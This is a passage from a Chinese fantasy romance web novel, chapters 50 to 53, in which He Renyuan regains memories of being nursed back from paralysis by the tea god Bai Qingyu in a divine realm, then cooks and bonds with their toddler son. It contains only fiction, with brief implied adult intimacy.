贺任沅反问:“万一我在神境里辜负过你呢?” 白清语一怔,他从未想过这种可能。目前这种抛妻弃子的局面,真不好说。 贺任沅看着白清语,他追求白清语没错,但他也希望白清语有对过去的知情权,知道自己一个人怀孕的艰难,知道他掉崖之后可恶的性格……贺任沅猜测自己那时被合伙人背叛,脾气不会太好。 他也害怕白清语带着一点糊涂就接受他。 但他没有全说出来,怕被白清语猜到他在储血,只说了让白清语想捅他一刀的话。 白清语:“你是个好人,我还不知道吗?” 贺任沅猝不及防地被发了好人卡。 白清语不知道贺任沅为什么要说那样的话,生气地回去找茶宝睡觉了。 贺任沅闻着满屋子的茶香,越闻越饿,有点睡不着,找了两颗红枣填肚子。 翌日,他一醒来,前门后院都没有茶神父子的踪迹,心里顿时一慌,找了一圈没找到,终于在地里看见邓伯:“邓伯,清语和茶宝呢?” 邓伯用谴责的眼神看着他,起得比老婆孩子还晚,这种男人怎么指望得上。 贺任沅着实冤枉,天还没大亮就找老婆找出了一身汗:“您知道吗?他们没带手机和手表。” 邓伯指了指山头道:“八成是去山上了。” 贺任沅顺着野生的台阶一路爬一路找,不放过看见的每一棵茶树,这里的茶树太多了,没有一棵是他老婆。 直到山间的雾气散去,贺任沅也没找到,忽地,一处石头后面,传来两声熟悉的声音。 “宝宝学会了吗?” “爸爸,宝宝会了!” 贺任沅绕过石头,看见了白清语和白小茶。 白清语正在教导茶宝一些出入神境的技能,从地上捡了一颗石头塞进他手里:“宝宝自己把它带进去,再带出来。” 白小茶:“好噢。” 贺任沅眼睁睁看着他儿子连同石头一起消失。 茶宝去哪了?去那个神仙洞府了么?他那么小,一个人可以吗? 白清语身姿轻盈地站在一个木桩上,看见贺任沅,道:“放心吧,一会儿就出来。” 过了一会儿,茶宝果然抱着石头出来。 白清语给他塞了一个更大的石头:“再试一次。” “好的,爸爸。” 贺任沅仿佛看见一只美丽优雅的白鸟,耐心教导幼崽生存技能,而自己是个不中用的雄鸟,只能在一旁干看着。 贺任沅:“茶宝可以把叔叔带进去吗?” 白小茶上前抱了抱叔叔的小腿,好像在丈量什么:“叔叔太大只了,宝宝还不会噢。” 贺任沅失笑:“那先搬石头吧,宝宝真棒。” 白小茶在叔叔的赞扬声中,抱着大石头滚进去,宝宝真是太厉害了,他靠着石头仰头,忽然看见前面的茶树上有一颗闪闪亮亮的球。 唔?这是什么? 他要拿出去给老板叔叔看看! 白小茶先爬上石头踮脚,发现够不到,想起爸爸教他的爬树技能,脱掉了鞋子,脚趾用力抓住树干,像熊猫幼崽一样轻松地爬上去。 发光球近在眼前,白小茶伸手一抓,身子不稳,扑通,连崽带球滚了下去。 啪叽——白小茶握着摔碎的发光球,直接摔出了神境。 “茶宝!”贺任沅心提到嗓子眼,跪下查看。 “宝宝没事。”白小茶不怕摔,一骨碌爬起来,摊开手掌,“叔叔你看——唔?” 发光球摔成两半了? 一阵白光冲贺任沅眉心而去。 白小茶抓了抓空荡荡的掌心,“一半都没有了?” 白清语愣愣地看着,宝宝你个孝子把贺任沅的记忆抓出来了还摔成两半? 他急忙抓着幼崽回神境,让他指认地方,寻找另一半。 父子俩在落叶堆里刨来刨去,贺任沅接收了自己失去的一半记忆。 脑袋一阵剧烈的疼痛后,神思恢复清明。 “……” “……” 一个没有受过大伤的健康人,很难想象瘫痪在床的日子。 贺任沅第一次很想点烟冷静一下,他不是掉崖只擦破了皮,而是被心软的茶神当成垃圾捡回去养了一段时间。 他回来的记忆在一个断点戛然而止,但可以用善意第三人的视角总结:全身只有嘴巴和几把没骨折,但能骗吃骗喝骗炮。 虽然泡茶的时候他已经好得差不多了。 过了一会儿,白清语携着茶宝回来,表情有些心虚,比欠了贺任沅三百万翡翠勺子还心虚。 神境天还没黑,不好找,他晚上再去找找。 贺任沅和茶神面面相觑了一会儿,第一次就育儿提出指导意见:“别教茶宝携带一百斤以上的东西进去。” 不要在外面捡大型垃圾。 茶神太好骗了,贺任沅简直后怕,还好白清语这三年没有被其他人骗走。 ———————— 因为你的后半段记忆是防拐训练。(●—●) 50-60 第51章 白清语问道:“一百斤怎么了,为什么要限重?” 贺任沅支支吾吾说不出原因,“就……限制一下成年人的体重,免得哪天我哄茶宝带我进去,你不是不让进么。” 白清语看着他,我是不让进啊,但你什么时候这么通情达理了? 贺任沅道:“你刚才带茶宝去哪了?我的记忆是不是没回来完全?” 轮到白清语支吾了,白清语当然是跟儿子站一条线上,“茶宝刚才心急想帮你带出记忆,从树上摔下来捏碎了,还有一点点尾巴碎片在神境里没拿出来。” 白清语拇指和食指比着,压到一个很小的缝儿强调,大事化小,小事化了:“只有一点点尾巴,不影响全局。” 几千年的落叶堆实在太厚了没人清扫,另一半不知道滚哪儿去了。 贺任沅蹲下来抱住茶宝,捏一捏他的胳膊检查:“谢谢宝宝,有没有摔疼?” 白小茶:“不疼的,叔叔。” 贺任沅被儿子感动坏了,他儿子心里有爹:“叔叔晚上给你做包子吃。” “还要练习么?” “不练了,今天已经学很多了。”白清语溺爱地说,“茶宝饿了才会摔下树。” 这下贺任沅更没有理由怪茶宝摔碎他的记忆了吧? 贺任沅本来就没有怪过,忙背着茶宝下山。 白清语跟在后面,偷偷瞥贺任沅帅气的后脑勺,所以贺任沅想起什么了?为什么一声不吭?如果他俩发生过什么,贺任沅早就拿出来宣扬了吧? 那就是什么也没发生过,茶宝的来由符合他的猜测。 竟敢质疑茶神的判断,熄火了吧? 白清语瞅准了茶宝去跟爷爷骑车溜达的缝隙,在厨房堵住揉面的贺任沅:“你想起了什么?” 贺任沅低头揉面团,耳机里播放专业厨师的实时教导,厨师就是专门教他爸的那个,听说贺任沅要下厨惊掉下巴,难道贺家人到一定年纪就会觉醒小当家血脉么?那他都不愁失业了。 “你说什么?”贺任沅指了指自己的耳机。 白清语将它拿下来,漂亮的眼睛注视着贺任沅:“我问你想起什么了。” 贺任沅:“没、 没什么,就是养伤的片段。” 他的通篇记忆里,几乎没有直立行走的片段,不仅指的是物理上直立行走,还包括精神上、经济上。 如果他是以软饭硬吃的状态全程跟白清语相处,那实在是太糟糕了,白清语说记忆只剩一点点尾巴没回来,更是令他眼前一黑。 虽然把老婆骗到了,但底裤没有了。 贺任沅重逢白清语以来,他便是以雇主、老板的身份存在,一时间有些转换不过来。 白清语:“还有呢?”看来真的没有亲密行为了?那贺任沅为什么接吻那么熟练?跟谁的? 贺任沅:“还有……我欠你一条命,是你把我从重伤残疾边缘拉回来。” 白清语歪头,看着贺任沅回避谈论亲密话题,视线闪躲、自称有重病史、近一个月没有同房史……他看过广告的,这是男人的加油站坏了。 白清语凑近问:“你是不是想起了什么悲伤的事?” 贺任沅:? 白清语:“是不是那里也伤到了我没给你治好?” 贺任沅:??? 他的沉默不是白清语妄加猜测的理由! 白清语:“所以说茶宝就是我们血液融合产生的宝宝?好吧,既然确定了,我晚上就这样告诉茶宝,明天他就叫你爸爸。” 他对贺任沅太好了吧。 贺任沅双手都是湿哒哒的面团,想抽出来壁咚茶神都做不到,只能无能狂怒道:“我们该做的都做了!” “先不要跟茶宝说,等你想起来再心甘情愿地说。” 白清语皱眉:“我们做什么了?” 贺任沅:“做爱。” 白清语一下子面红耳赤,“怎么可能。” 贺任沅发现白清语就像非要打翻一盆水然后自己被淋一身的猫,非要问出来再反驳,纯粹是为了气他的。 白清语:“要是发生过什么,你怎么会是这种有难言之隐的脸色?” 贺任沅:“……” 他闭了闭眼,脑海中闪过自己不光彩的过去。 三年前,神境。 贺任沅失血昏迷,再次产生意识,睁眼看到的仍然是一片无遮无际的天空,到现在还没有人发现他? 他立刻锁定了凶手,因就在这桩公益诉讼是律所合伙人揽下来的,他们一起来调研时,他看见过合伙人给过那个推他下崖的小孩一颗糖。 他以为是合伙人出于善意,原来是剥开糖纸是藏污纳垢的恶意。 他早该意识到,他们开律所的理念不同,对方总觉得他会继承家业、只图名声、不把盈利作为第一目的。 这个律所早该拆了,在得知对方背靠贺家拿资源时,转头跟下属说富二代玩票时,贺任沅便打算卖了律所。 贺任沅以为公益诉讼是一个好聚好散的结局,结果竟是针对他的圈套。 他对律师行业的赤诚与专业,不及他对人性的厌恶。 贺任沅全身都动不了,奇怪的是,大脑没有接收痛觉,但这往往意味着更糟糕的后果:瘫痪。 这一瞬间,贺任沅对人的厌恶达到顶峰。 “你醒了?”一道好听的声音传过来。 贺任沅忘记这不是病房,把对方的语气当成护士的小心:“我怎么了?” “你从山上摔下来,我看见你没有人要,我就捡回来了。” 一张美得脱俗绝伦的脸凑到他上方,笑眯眯地说,他长长的青丝垂下来,扫到贺任沅手背的皮肤,痒痒的,一时间他的触觉神经恢复正常,告诉他还能工作。 对方不是护士,身下也不是病床,而是坚硬的大石板。 白清语握住他的手腕,一股温和的力量从筋脉流入:“你伤太重了,要养很久。” 白清语的语气很苦恼,因为要耗费他很多神力。他被贺任沅流出的血液渗入树根唤醒休眠,起码说明这个凡人不坏,有冤屈。 人在绝境会期盼神仙降临,贺任沅以为自己信仰唯物主义,直到这一刻:“你是神仙?” 白清语抿了抿唇:“差不多,你安静养伤吧。” 贺任沅此时还不知这一句安静的分量,直到他孤独地躺了三天三夜,不能动,进入这个地界似乎自动屏蔽了人类基本的吃喝拉撒需求。 他不吃不喝,身上一丝力气也没有,不知道还要躺多久,周围连声鸟叫都没有,仰望星空三天后,再听见白清语的声音时,贺任沅默默变态了。 人类真是贱得慌,就算对人性很厌恶,他依然需要社交。 白清语这一次出现给他输入神力,下一次就不知道是什么时候了,他必须珍惜机会把他留下。 人类会背叛人类,神明会背叛他的信徒吗? “你是茶神吗?”贺任沅结合武夷山地界,以及周围满目的茶树,合理地判断。 白清语觉得他很有眼力:“是啊。” 贺任沅:“你把我扔在这里就不管了?” 白清语疑惑:“还要管你什么?” 贺任沅随口胡诌:“我在这里躺着,你又不提供娱乐活动,等于非法囚禁,最高能判三年。”他不怕白清语骂他、惩罚他,只怕白清语马上就要消失,他必须抛出一个值得辩论的观点,让神明驻足。 白清语很怕自己无意中犯罪,他是一个遵纪守法的好神明:“娱乐活动?” 贺任沅发觉白清语好像吃这一套:“至少我要看见你,我再看不见你我会疯掉。” 白清语明白了,救其躯体,还要存其志,不然好好的人疯掉了,等于白救了。 于是白清语在贺任沅周围活动,然而茶神的生活非常贫瘠,一整天不是变树,就是坐着恢复神力。 贺任沅:“尊敬的神明大人,就算是植物人,也要定期按摩、喂食,不然会死掉。” “植物人很好啊,我就是植物人。” 贺任沅:“我会死掉,那么,你需要按照人类的平均工资向我的家人赔偿……大约一百万。” “一百万?” 白清语似乎很怕他死在这讹钱,开始协助他翻身,坐起来。 贺任沅从未如此想念过食物,“我饿了,你这里有没有食物?” 白清语:“你在这里就自动辟谷了。” 贺任沅看着他:“人性化辟谷的判定条件,应该是我吃了,觉得没必要吃,而不是我没吃,饿不死。” 白清语让他靠在石头上,用肩膀撑着他,这段时间是他跟人类讲话最多的时间了,这个人类长得帅,发型也帅,在他上次休眠之前,人类还很多是辫子头,很丑的。 看见贺任沅时,茶神说是耳目一新也不为过,既为贺任沅的容貌感到心动,又为人类的生活进步感到高兴。 总之,贺任沅是一位进步的人类,茶神很愿意跟他说话。 白清语:“什么是人性化?” 贺任沅寻到了扫盲契机,跟一个茶神大谈人性化,为自己谋福利。 白清语是一个愿意接受进步思想的茶神,被忽悠地很兴奋地去搞了一碗稀饭回来。 这是贺任沅吃过最难吃的稀饭,但是流食还需要计较什么。 吃完之后,果真如同他的预想一致,他无缘无故身体一丝力气也无,是因为太久没有进食。 神境只能保证他不会饿死,但人类只有吃饭才会获得力气,这或许也是神境对人的限制,免得他冒犯茶神。 贺任沅三不五时甜言蜜语哄白清语给他一点饭吃。 就是有一点不好,白清语认定他需要吃人性化的流食,每回都要把弄回来的贡品和野果,在一个石头凹槽里捣成糊糊,再喂给他吃。 贺任沅交涉多次,甚至在白清语喂他时,轻轻咬了一口他的手指,证明自己有咀嚼能力,都无法反抗茶神的权威。 “没吃过猪肉我还没见过喂猪吗?”茶神特意去人间观察了一下,都是要这样混合才养得白白壮壮。 贺任沅:“……”宠物定位,行吧。 每次吃饭受的苦,总会在饭后一壶茶得到补偿。 贺任沅不想当神明的宠物,他想冒犯神明。 反正也没事干,一天到晚琢磨着怎么勾引茶神。 慢慢的,他的手可以动了,可以自行梳洗。 他发现白清语格外青睐他乌黑茂盛的头发,贺任沅哄白清语拿了剪刀和镜子回来,硬是自学了高级发廊托尼的手艺。 茶神对于现代明星般的发型毫无抵抗力,弯着眼睛看他,这是他见过最帅的人类。 贺任沅嘴角一勾,继续探索手工,把剪刀拆开当成刀,给白清语削了一根簪子。 贺任沅的审美很好,还给会白清语绑头发,洗头发,尽量开发双手功能。 在他还没有告白时,就无心插柳,送给白清语眼中的定情之物。 “你是不是喜欢我?”白清语摸着簪子,把它插在黛青色的头发里。 茶神实在没有心机,早早开出条件:“你要是跟我在一起,我可以允你与我同寿。” 明明是贺任沅在追求白清语,白清语却先一步说出诱人的条件,好像站在主动位。 贺任沅一时怔愣,他绝没有抱着这样的念头追求白清语。 白清语还催促:“你犹豫是什么意思?” 贺任沅:“你应该恐吓我,喜欢神明会变成浮游,会夏生冬死。” 白清语:“然后呢?” 贺任沅:“我甘之如饴。” 白清语:“但是这样不够人性化啊,你不喜欢的。” 贺任沅眼眶发热,因为白清语容易追求而感到惶恐,如果遇到的人不是他怎么办。 第52章 贺任沅恶劣地汲取神明不会背叛的爱,白清语治愈了他的失望,贺任沅又相信茶园公益诉讼是一个很好的从业结局。 鸟类求偶都知道先搭个窝,贺任沅以天为被地为席一个月,早就琢磨着要换个环境,他问白清语能不能出去神境,白清语没钱,但他有钱,可以购置一些物品。 白清语不让他出:“你一出神境,就会固定住恢复状态,以后再进来也养不了伤了。” 出去后,贺任沅只能靠现代医学去治愈自己不能动的下半身,万一落下残疾,追悔莫及。 贺任沅只得放弃,像原始人一样做一些手工活儿,比如编织花篮,茶神出去捡一些野花回来插。 比如委托白清语从外面带回来一截竹子,从邓伯那里借一把锯子。 白清语给他治伤,消耗神力就会想睡觉,他趴在贺任沅腿上,没有戒心地睡着。 贺任沅费力地把他拉起来,躺在自己身上,双手环住他的腰,是完全霸占不允许任何碰的姿态。 他不需要很多睡眠,就用大量的时间来琢磨怎么制作手工。 每当白清语沉睡醒来,总会看见贺任沅制作出一些新玩意儿。 比如一对竹筒杯子,从山涧里舀满水,放点茶叶,泡一晚上,贺任沅爱喝。 比如两双筷子。 贺任沅心机地说:“要不要试试我的筷子?”用筷子就不能把食物捣成糊糊了,夹不起来。 茶神却指筷为簪,高兴地每日换一根插在头发里。 贺任沅只能在吃上面妥协。他也提出,能不能在人间接一些手工活,或者脑力活儿,带进来他做,白清语带出去卖钱,但是白清语说他带加工过的东西进来会耗费神力,现在最重要的是给他治疗,跟他在一起不需要干活。 神境里刮风下雨是定时的,也是农民梦寐以求的“风调雨顺”。 轮到贺任沅栖息的地方下雨时,白清语就会把他搬到其他地方,每天晚上都一起看星星。 贺任沅前期不乏坑蒙拐骗,到了谈恋爱这一步,变得保守起来,只限在亲吻和拥抱。 一来他不想太仓促,二来,他还未痊愈,没法主动。 直到有一次,天空降雨,白清语没有把他转移地方:“今天雨大一些,适合洗澡。” 白清语:“虽然在神境里不会变脏,但是人类长时间不洗澡就会难受。” 他今天出去拿贡品,就听见一个阿姨在吐槽她女儿一天要洗三次澡,太浪费水了,明明也不脏,就因为什么洁癖,出门十分钟回家也要洗,不然心里不舒服。 白清语听过贺任沅说过他有洁癖,但是很早之前了,最近都没有说。 是因为顾及到这里洗澡条件不好,没有提么? 白清语一旦认为贺任沅需要洗澡,贺任沅就反对无效。愈是大自然的产物,越容易带进神境,白清语特意捡了很多无患子,可以搓出泡泡洗头。 贺任沅根本不能把这当成一次正经洗澡,白清语身上处处都透露着他可以提供其他服务。 感谢神境虽然饿着他,却不会吞噬他的腹肌。贺任沅拉到白清语搓他腹肌的手,冷静道:“我先给你洗头发。” 洗着洗着,贺任沅发现,无论人还是神,确实不能心无旁骛地帮爱人洗澡。 他天天喝的茶握在他手里,熟悉的味道会让他忍不住换上味蕾去感受。 大雨滂沱,浇透了茶神,处处都是茶香。 青丝散乱地铺在白皙的后背,发梢处都被淋出了一朵一朵绿芽,偶尔还会夹着淡淡的小白花。 …… 一旦开荤,连茶神也沉溺。 神境里没有别的事可干,贺任沅只能干老婆。 同时他暴露出一个严重的问题。 人类的体力不如茶神,尤其是在饥饿状态下。 贺任沅的饭量很大,白清语弄回来的食物他一向珍惜,省着吃,一天可能只吃50克的各种糊糊,只要身体里有力气让他有活着的充实感就行。 现在可太不行。 第一次说出“没力气了,我需要一些食物”时,贺任沅简直难以启齿,如果人生真的有耻辱柱,这句话绝对会被篆字铭刻。 连茶神都愣了一下,随后反应过来,道:“你等着,我去弄。” 贺任沅:“你穿好衣服!” 白清语:“当然啦,我又不是笨蛋。” 老婆离开的十分钟,贺任沅从幼儿园反思到了大学毕业,都找不到比这更尴尬的时刻。 他像个废物一样。 有时候茶神被他弄狠了,也会生气,弄回来食物就揶揄他“贺律师,这是我偷回来的贡品,你看看判几年?” 贺任沅脸皮也厚了:“金额太低,批评教育。” 贺任沅早就知道贡品是免费的,茶神拿贡品会布下福泽,茶农以贡品被人吃完为喜。 但生活条件好了,没有几个人爱吃贡品,不好吃,往往放到烂也没人动。贺任沅这一段时间吃了他以前根本不会吃的各种食物,有时候他甚至怀疑白清语拿的是剩菜剩饭,或者超市不要的烂果子,总之一股脑地磨碎,让他看不出原样。 就像饭店制作不新鲜的食材就喜欢多放辣椒来掩盖味道一样。 白清语都类比养猪了,比泔水好就谢天谢地了。 贺任沅不敢问,睁一只眼闭一只眼,没有比填饱肚子干老婆更重要的事。 贺律师身体力行地批评教育茶神在人间拿东西。 茶神学精了会藏食物来控制贺任沅的时长。 厚颜无耻只需要三次锤炼。 贺任沅后面已经能面不改色地说出“没力气了,再来点饭”。 白清语一等到他没力气就会嚣张,在他眼里,人和神的差别与生俱来,不需要顾忌贺任沅的自尊而回避这个问题,“不给,你不行就休息吧。” 贺任沅这种人很难被窥视到底线,他往往还藏着一点力气,蛰伏着,先让茶神骄傲一会儿。 如果他挑不上不下的时候骗点饭,白清语会很痛快地上当。 白清语到底能不能听出“没力气了,再来点饭”背后不同的语气,贺任沅不知道,因为饿与不饿,他其实都没怎么装。 …… 回忆完毕。 贺任沅闭了闭眼睛,他是怎么敢说出这种话啊。 这是真饿了。 他过去的生活一向优渥、奢侈,自认为底线很高,原来为了老婆还能彻底不要脸。 贺任沅想想,深层原因是白清语给他提供了巨大的安全感。 而自己是怎么做的?白清语说他获得的记忆几乎是全部,意味着他伤一好,长腿了就离开神境,然后因为失忆再也没有回来? 而自己昨天说了什么?他告诉白清语要恢复记忆,万一他在神境辜负了白清语呢? 他确实辜负了,他一转头就忘记了白清语。 贺任沅看着来试探情报的白清语,模糊自己吃软饭的事实:“我没有难言之隐,我只是回忆起了茶神的英明高贵,觉得自己十分卑劣。” 白清语:“你不用这么说自己……” 贺任沅:“我纵使被万万人骂卑劣,我也要追求你。” 白清语压了压嘴角,假装皱眉,不着痕迹地试探,“你强吻这么熟练,肯定不是第一次了,我才不要有前任的。” 贺任沅:“那是跟你练出来的,我只跟你接过吻!” 白清语:“是吗,你的面团是不是加太多水了?” 贺任沅低头看自己揉的面团,不太成型,白清语帮他加了一点面粉。 贺任沅时刻不忘补血:“帮我倒点红糖,还有盆里的红枣碎。” 白清语给他倒:“是不是水又少了?好难混合均匀。” 贺任沅:“那加点水。” 如此两次,贺任沅清醒过来,白清语根本不会做饭,他为什么要听白清语指挥啊! 他揉着愈发膨胀的面团,卷到小臂的袖子快落下来,“帮我卷——” 他忽地想起自己手臂因为抽血按压时间太短,淤青了一片,立即改口,揪了一团面团:“帮我卷一个茶宝喜欢的花卷形状。” 白清语拿过来,随手捏一捏,茶宝什么都能吃的。 在茶神的帮忙下,贺任沅成功蒸出了一锅红糖大枣馒头。 邓伯带着茶宝溜达回来,掀开锅一看,“嚯,蒸了一锅死馒头。” 油光水滑,过一会儿就会硬成石头。 白小茶:“死掉的馒头?宝宝吃!” 贺任沅急忙连线厨师询问原因,重新蒸了一锅,这一次,馒头变得蓬松软乎。 转头一看,茶宝已经拿着第一锅出炉的馒头,吃得津津有味。 “叔叔做的好吃。” 贺任沅开始承认,茶宝什么都能吃,是遗传了自己,胎教没做好。 蒸完馒头,贺任沅还准备做一条红烧鱼,先把两面煎至焦黄,再调味勾芡。 一人做饭,全家围观。白清语盯着贺任沅看,觉得他好像恢复记忆后,变得无比勤快,一刻都闲不下来。 白小茶围在灶台前,眼巴巴看着:“好香!” 白清语拿来葱丝,白小茶仰着头道:“爸爸,宝宝来帮忙。” 白清语把他抱起来,让他高于台面。 白小茶抓了一把葱丝,倾身过去,胖乎乎的手臂伸到锅上方,蒸汽腾腾升起来。 贺任沅眼皮一跳:“小心被蒸汽烫到。” 白小茶缩回手,仿佛被烫到了似的,左手抓住右手,放在鼻子下面闻了闻,然后舔了舔:“是红烧鱼的味道!” 他好像提前吃到了鱼一样,快乐地舔着自己手腕上蒸汽留下的鱼香。 贺任沅开始理解他爸为什么迷上厨艺。 质疑父亲,成为父亲,理解父亲。 可他没有像茶宝一样反馈巨大的情绪价值,他还不如茶宝懂事。 吃饭的时候,邓伯讲诉村里最新的八卦:“老王家讨了一个上门女婿,没见过这样的,天天不上班,就躺在床上打什么王者荣耀,饭要媳妇做,出门要媳妇给零花钱,不给就骗就偷。” 贺任沅:“……” 白清语皱眉:“骗?偷?这犯法了吧,没有报警把他抓起来吗?” 邓伯:“家务事,骗自己老婆,警察能有什么办法。软饭硬吃,老王家也不富裕,这种男的居然还有老婆!” 白清语也很鄙夷:“他老婆还不离婚吗?” 贺任沅:“……” 邓伯:“唉,他老婆怀孕了,说不离婚还能图个陪伴,离婚了什么都没有。你说说,这种软饭男还有孩子。” 白清语道:“太笨了!” 贺任沅心往下沉,茶神在人间生活三年,还进城了一趟,连法律知识都牢牢掌握。随着见识增长,白清语会不会已经看不上当年吃软饭的贺任沅? 如果白清语恢复记忆,说不定还会狠狠鄙夷自己过去的眼光。 贺任沅脸色僵硬,他试探了一句:“如果一个男人瘫了可以吃软饭吗?” 白清语:“不行,他还可以做手工活,或者脑力活。” 贺任沅呼吸顿停,白清语真的不吃这套了。 贺任沅捏着自己淤青的手臂,如果他自私一些,应该埋藏不光彩的过去,让白清语只认识一个独立自强的贺任沅。 白清语和邓伯都认识老王家的女儿,对熟悉的人的遭遇更加同情,饭也不吃了,越说越愤懑。 这个家好像就贺任沅和茶宝始终热爱干饭。 茶宝依偎着叔叔,圆溜溜的眼睛充满好奇:“老板叔叔,软饭好吃吗?” 贺任沅:“……” 不能吃。 ———————— 宝宝,叔叔被你戳到痛处了。 今天不踩点更了。 第53章 “男孩子不能吃软饭。”贺任沅义正词严地对茶宝道。 但可以啃老。 白小茶:“为什么呀叔叔?” “因为牙齿不好的人才吃软饭,我们牙齿好,吃硬的。”贺任沅戳戳茶宝的婴儿肥,“长期吃软饭牙齿容易坏,就吃不了排骨了。” 他捡了一粒盐炒花生,放进嘴里。他在白清语茶神硬控吃软饭的期间,偶尔会嚼茶叶和茶叶梗,全方位养护五官。 白小茶学着他吃花生,咬得嘎嘣嘎嘣脆,牙齿一定不能坏。 贺任沅给茶宝夹了一块牛扇子骨,“茶宝啃点骨头。” 白小茶:“好噢!” 贺任沅自己则摄入桌上的一盘猪肝疯狂补血,一边吃一边看着茶宝,越看眼神越慈爱。白清语又不爱吃人类食物,茶宝肯定是遗传他的,这一头跟茶神青丝迥然不同的黑头发,也是遗传他的。 那……老婆是什么时候怀上宝宝的? 是意识发现怀孕才失忆,还是身体一怀孕自动失忆? 白清语放在桌上的手机一亮,他拿起来看,是江礼帛给他发了一个请帖,从小图看是大红色的,“婚礼”二字不用放大就很清晰。 “江教授要结婚了?”白清语惊讶极了,江母反对这门亲事的样子历历在目,攻克了父母这一关,后面都开八倍速了。 本周六,江教授和徐诏将在一家饭店举行婚礼,不隆重,只邀请至亲好友。 [江礼帛]:没有仪式,就大家一起吃个饭,希望你有空。 白清语看见请贴上的两位准新郎,还拍了古代新郎服装照片,也就是所谓的“婚纱照”,请帖也弄得很精心,细节满满。 白清语:“为什么没有仪式?” [江礼帛]:毕竟是我是老师,他是学生,低调一些。 [白清语]:你们又不在一所学校,再说,徐先生明年就毕业了。 江礼帛发了一个笑哭的表情,就算是明年他也得低调,再说徐诏完全等不及,因为双方差了八岁,年下小狼狗非常急躁,恨不得马上宣誓主权。 白清语自言自语:才八岁而已,有什么好急的。” 贺任沅瞥了一眼,淡淡道:“我差两百岁,比他急多了。” 白清语:“对噢,你比他……你又没有对象。” 贺任沅狠狠地咬了一大口猪肝,等他补够血,把白清语的记忆找回来,第二天就绑架到婚礼现场。 人比人气死人,人家差八岁的都急成这样了。贺任沅嫉妒得变形,突然也不怕暴露自己吃过软饭的事实,儿子都两周岁了,还能离咋地。 白清语肯定舍不得离了。 此刻,他与邓伯口中的软饭男高度重合。 全家人一吃完饭,贺任沅就主动收拾餐盘。 “叔叔,我帮你。”白小茶握着一个蓬松的红糖馒头,刮一刮菜盘子上的汤汁,吸一吸,舔一舔,“这是好馒头。” 死掉的馒头不能吸汤汁,要被宝宝一口吃掉。没有死掉的馒头先刷盘子,再被宝宝一口吃掉! 贺任沅留了一个干贝炒蛋的盘子给他玩,自己先去水槽刷盘子,把剩菜倒在邓伯喂鸡的桶里,再在抹布上挤一坨洗洁精。 邓伯是南方男性的平均身高,他惯常使用的水槽,贺任沅须得微微弯腰才能在水流下冲洗盘子。 他双腿站得笔直,兢兢业业刷盘子,白小茶靠在他小腿肚后面,也兢兢业业刷盘子。 “叔叔,宝宝刷干净了。”白小茶举起盘子。 贺任沅接过铮亮的不锈钢盘子,夸道:“茶宝真棒,刷得真干净。” 白清语扫了地,把扫帚和簸箕放回原位,外面淅淅沥沥下起了小雨,不适合外出散步,适合在被窝里面看剧,他对贺任沅道:“你先去洗澡吧。” 贺任沅今天做饭,熏了一身油烟,洁癖应该要发作了。 贺任沅:“你先,我和茶宝吃得太饱了,先玩一会儿。” 白清语一向吃个三五分饱就够了:“那我先洗了。” 贺任沅从角落里找到一把黑伞,蹲下:“茶宝今天还没有去小卖部。” 白小茶顿时抱住叔叔的脖子,“是噢!” 贺任沅单手拖住小崽子,一手撑伞,走出一段路后,犹疑地问:“茶宝想要淋雨吗?会生病吗?” 他还不太适应茶神的生活方式,在他看来,下雨了要打伞,不打伞就要赶紧往家里跑,如果当爸爸不能给儿子提供避风港更是触犯天条。 但恢复记忆后,他也能转变思维,努力不把茶神当人。 白小茶:“宝宝不会生病噢,但是叔叔淋雨会生病。” 贺任沅心里被触动,甚至开始反思,自己对贺望重有没有这么贴心过,于是停下来,给贺望重发了一条慰问信息。 【爸,下雨了记得带伞,免得淋雨生病。】 贺望重:他一老董,出门要么有车,要么有人帮忙带伞,他儿子这都不懂?还是被绑架了?要报警吗? [贺望重]:需要帮忙报警扣1。 [贺任沅]:不用,谢谢。 跟他爸真是很难沟通,还不如小的父子一心,贺任沅对儿子道:“叔叔也不会生病。” 白小茶点点头:“因为叔叔吃了变强壮的药。” 贺任沅:“……”好吧,小崽子也没有那么好沟通。 “这件事情不能告诉别人。” “好噢。” 贺任沅:“那茶宝想不想淋雨?” 白小茶摸了摸头发,他的头发又比黄山归来长了一些,他奶呼呼地问:“老板叔叔喜欢喝黄毛宝宝还是武夷宝宝?” 想要喝黄毛宝宝就不能在武夷山淋雨了,黄毛会褪掉噢。 贺任沅一愣,过了三秒才反应过来,黄毛指的是黄山毛峰。白小茶年幼受环境影响大,在武夷山淋一场雨,就会洗掉之前留下来的黄山毛峰的气质。 猝不及防又被儿子暖心到了。 他老婆太会养孩子了,都这么甜,老父亲提前二十年开始操心茶宝会不会被人骗了。 理解邓伯,超越邓伯。 贺任沅脑海中闪现一系列育儿计划和反诈训练,等茶宝拥有比历代茶神都高的学历,应该没有那么好骗了吧? 可是,他想到茶宝上学只为干饭,周一还在乡下,又不乐观了起来。 老婆养鸡,老婆养娃,但老婆不鸡娃。 贺任沅道:“茶宝的头发留给茶宝摇奶茶,你用什么地方的洗发水自己做主,茶宝开心才是最重要的。” 白小茶想了一下:“叔叔,宝宝想要淋雨。” 贺任沅果断收了伞,两人的头顶蒙上细密的雨丝。 夜色中,旁边的大爷大妈看见这有伞不打的父子俩,纷纷投来诧异的视线。 贺任沅视若无睹,不就是被大爷大妈骂么。 然而,他与大爷大妈擦肩而过,也没人骂他。 “……”有点不习惯了。 两人淋着雨去小卖部买了一个袋装的甜牛奶,又一路兴奋地走回来。 虽然淋了雨有些凉意,但贺任沅坚信父子感情在升温。 先跟茶宝培养好父子情,茶宝又不知道他吃过软饭,到时候形迹败露,他依然是茶宝心中高大的老板爸爸。 白清语要是嫌弃他,茶宝还能给他说两句好话。 白清语洗完澡出来,看见一大一小淋雨买牛奶,就很无语:“你自己可以披雨衣啊,怎么跟茶宝一起淋雨,快去洗澡。” 贺任沅没说自己是出门了才想起这回事,温声道:“好。” 白清语刚洗过澡的浴室,热气里弥漫着茶香,要不是他需要养身抽血,要适当克制欲望,他想起跟白清语的日日夜夜时,就差点变态了。 白清语从保温瓶里倒了一盆水,把袋装草莓甜牛奶放进热水里温着,把茶宝带进屋里:“待会儿喝,爸爸给你换衣服。” 他给茶宝换上一套柔软的纯棉长袖睡衣,抱着他在浴室门口等着。 贺任沅淋了雨,最近又有流感,白清语怕他感冒,想给他输点神力预防。 凡人就是娇弱,要不他干脆给贺任沅开启“与君同寿”,贺任沅就不会因为小事生病了。 等等……白清语抿了抿唇,不可以哦,这是给茶神伴侣的独享。 如果他在神境里跟贺任沅有过什么,为什么当时没有开呢? 